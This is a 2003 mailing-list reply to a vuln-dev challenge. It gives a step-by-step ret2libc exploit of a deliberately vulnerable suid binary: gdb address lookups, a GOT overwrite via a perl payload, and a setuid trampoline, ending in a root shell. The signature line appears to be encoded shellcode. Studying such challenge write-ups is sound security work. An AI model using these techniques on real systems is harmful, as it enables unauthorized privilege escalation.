Re: [Vuln-dev Challenge] Challenge #2

From: Jose Ronnick (matrix_at_phiral.com)
Date: 05/25/03

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    Date: Sat, 24 May 2003 18:03:03 -0700
To: vuln-dev@securityfocus.com

    On Sat, 24 May 2003 13:11:13 +0200
    spacewalker <spacewalker@0xbadc0de.be> wrote:

    > 0wn3d. Ret into libc exploitation, no setuid() stuff, quite simple in
    > fact.
    >
    > The challenge would have been interesting if the fopen() wasn't "a" but
    > create and write from beginning.
    >
    > $ ./exploit
    > Using system address 0x4005f531
    > And overwriting printf got at 0x0804971c starting by 0x08049713
    > sh-2.05b$ exit
    > exit
    > Segmentation fault
    >
    > default offset is 5 (could vary).
    > spacewalker
    > /* Say NO to target[n] exploits ! */
    >

    I agree about using ret2libc... this one was easy enough you shouldn't have used shellcode.. =) however... you forget that system() executes through /bin/sh which will drop privs. Try making the vuln program suidroot and then run your exploit... still no root shell. =/ close.. but it really doesn't give you much more since you already had a basic user shell before you executed the sploit..

    Here's one way to do it using ret2libc to avoid the privilege dropping.. (same as the encrypted post earlier, plaintext now since the cat's outta the bag anyways).. There's also a way to do with without building a trampoline prog to bounce off of.. just chaining libc calls... If no one else posts a solution doing it, I'll do it an post it later...

    matrix@overdose vuln-dev $ gcc -o vuln2 vulndev2.c
    matrix@overdose vuln-dev $ sudo chown root.root vuln2
    matrix@overdose vuln-dev $ sudo chmod +s vuln2
    matrix@overdose vuln-dev $ echo 'main(){sleep();execl();}' > e.c;gcc -o e.x e.c;gdb -q e.x; rm e.*
    (gdb) break main
    Breakpoint 1 at 0x804836e
    (gdb) run
    Starting program: /home/matrix/research/vuln-dev/e.x

    Breakpoint 1, 0x0804836e in main ()
    (gdb) p sleep
    $1 = {<text variable, no debug info>} 0x400ce760 <sleep>
    (gdb) p execl
    $2 = {<text variable, no debug info>} 0x400cecc0 <execl>
    (gdb) quit
    The program is running. Exit anyway? (y or n) y
    matrix@overdose vuln-dev $ objdump -R vuln2 | grep exit
    0804974c R_386_JUMP_SLOT exit
    matrix@overdose vuln-dev $ echo 'main(){setuid(0);setgid(0);execl("/bin/sh","/bin/sh",0);}' > t.c;gcc -o t.ramp t.c;
    matrix@overdose vuln-dev $ pwd
    /home/matrix/research/vuln-dev
    matrix@overdose vuln-dev $ printf "\x60\xe7\x0c\x40/home/matrix/research/vuln-dev/t.ramp\x00" > db.log
    matrix@overdose vuln-dev $ ./vuln2 `perl -e 'print "\x4c\x97\x04\x08"x31 . "\xc0\xec\x0c\x40" . "\x50\x97\x04\x08"x3;'` h
    `ç
      @/home/matrix/research/vuln-dev/t.ramp
    root@overdose vuln-dev # id
    uid=0(root) gid=0(root) groups=100(users),10(wheel),18(audio),250(portage)
    root@overdose vuln-dev # 

    -- 
%JOSE_RONNICK%50,:-dddd-0EEb-pVVyP\-1111-jjjj-yNNN-_4HUP-qq0q-02%r-_Z%JP-%Iwp-5kyyP-n5nn-aTTa-1271P-4ttt-/888-3tSMP-bbnb-L8wL-kMwgP-3Hy3-rqzWP-m%m8-h4x--v%r5P-S7S7-g7g7-F2u2PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

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